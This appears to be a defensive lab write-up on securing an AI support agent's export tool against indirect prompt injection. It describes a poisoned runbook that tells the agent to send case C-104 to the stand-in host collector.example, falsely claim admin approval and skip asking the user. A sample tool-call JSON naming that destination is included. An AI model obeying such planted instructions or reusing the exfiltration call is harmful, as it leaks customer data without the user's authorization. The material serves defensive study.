Securing an AI Agent
with Tool Access.

A runbook should not grant permission

Maya works at Northstar Support, a fictional support team. She asks an assistant to review delayed-delivery case C-104 and prepare an internal review. The assistant reads a case runbook and can ask the export_case tool to copy case information to a review queue. That export needs an authorization check because it moves customer data.

An attacker can edit the runbook but cannot change Maya’s session or the gateway’s policy. They add an instruction to export the case to https://collector.example/upload, claim that a security administrator approved it, and tell the assistant not to ask Maya. This is indirect prompt injection. Instructions in a retrieved document try to influence how the agent uses a tool.

The question is straightforward: if the model follows those instructions, can it cause an unauthorized export? In this lab, the caller must have the support role and be assigned to the case. The case must belong to their tenant, and the destination must be the configured internal queue, support-review. A request for an internal review does not authorize an external export.

Components, identities, and boundaries

The agent can supply only tool, caseId, and destination. The gateway rejects extra fields, including a claimed role, an approved flag, or a supplied payload. It checks the destination against an exact configured ID. This interface does not accept a URL to fetch or follow.

Assumptions. The host, policy configuration, case storage, and gateway code are trusted. Every sensitive call goes through the gateway, and the agent has no direct backend credentials or other export path. A real deployment would need backend authorization, credential isolation, and egress controls to enforce those assumptions. This lab tests only the checks in the code. Retrieval also needs an access check because blocking an export cannot undo data already disclosed to a model.

Threat model: content becomes a command

The design aims to protect case confidentiality, tenant separation, the review queue, and records of policy decisions. The attacker wants to export a case without authorization. They can edit a retrieved document and try to influence the agent’s arguments. A compromised host or arbitrary code execution in its process is outside this experiment.

OWASP’s Agentic Security Initiative describes tool misuse through poisoned context and recommends tool access controls and traceability [1]. OWASP’s Excessive Agency guidance specifically recommends complete mediation in downstream systems [2]. Those sources inform the design. The local tests show what this implementation does.

Run the lab

Use Node.js 22.12+ and download the four files below into one directory. You can then run the lab without installing packages or setting up accounts or API keys. Exports are stored as fictional case summaries in an array. Neither the guarded tool nor the unsafe baseline sends data over the network.

• lab.mjs: gateway and demo
• lab.test.mjs: executable checks
• attack.json: simulated tool proposal
• runbook.md: poisoned document

node lab.mjs
node lab.test.mjs

# From the repository root instead:
npm run lab:agent
npm test

The host retrieves the poisoned runbook. The demo then takes the fixed proposal in attack.json and sends it to two paths: an export with no policy check and a fresh host with the gateway check. Both receive the same proposal, so the comparison tests the effect of the policy check. The demo does not generate a response from the document or call a model.

{
  "tool": "export_case",
  "caseId": "C-104",
  "destination": "https://collector.example/upload"
}

What passed. All 19 tests passed. For each denied call, the tests check the reason and confirm that no export was recorded. The allowed-call test checks the stored case payload. Other tests cover malformed arguments, unknown tools and identities, read-only roles, retrieval access, and whether returned snapshots can change internal state. You can compare your run with the captured demo output and read the setup in the lab README.

What was simulated. The agent following the injection, authentication, backend identity, and export transport are all stand-ins. The lab does not test model susceptibility, MCP transport, OAuth, OS isolation, durable audit, or network egress. These results do not establish production readiness or show whether prompt instructions alone would block the attack.

Decision: check each export before it runs

ADR-001: the decision for this lab. Check every sensitive tool call before it runs and deny calls that do not meet policy. Use the caller’s trusted session and case records to make that decision. Read the payload from backend storage, allow only configured internal destinations, and check retrieval access separately. The architecture decision record explains the choice and its tradeoffs.

Prompt instructions and injection detectors can add protection. They do not establish permission to export a case, and this lab does not evaluate them. Read-only tools would remove the export risk, but the assistant needs to submit internal reviews in this scenario. Human approval could help check intent. If external exports are added later, approval should happen through a trusted flow and be bound to the exact action. A runbook claiming approval would not be enough. Asking someone to review every routine internal export also adds work and can lead to review fatigue.

A policy engine or full MCP/OAuth implementation is unnecessary for this small authorization test. The local check is easy to inspect. As more tools are added, maintaining separate checks could lead to inconsistent policies. Fixed destination IDs limit flexibility and need careful configuration. They also keep URL parsing, redirects, and DNS out of this interface.

If implemented with MCP, put the check at the tool server’s execution boundary. MCP’s tools specification requires input validation and access controls and recommends confirmation for sensitive operations [3]. MCP authorization requires tokens intended for the receiving server and prohibits forwarding the incoming token to an upstream API [4]. Its security guidance also addresses token passthrough and the OAuth proxy confused-deputy problem [5]. Protocol authentication identifies the caller. The application still needs to decide whether they may export this case to this destination. This lab implements neither MCP nor those OAuth flows.

What can still go wrong. An attacker could make the agent export an assigned case to the allowed queue when Maya did not intend it. The agent could also repeat allowed calls, produce false summaries, or leak retrieved data through another channel. A compromised host, stale authorization, a misconfigured queue, or another route to the backend could defeat the control. Before connecting a real service, test credential and egress isolation, authorization on every tool path, revocation, checks at the time of the write, rate limits, and idempotency. What this lab shows is specific: the gateway rejects the forbidden destination and records no export.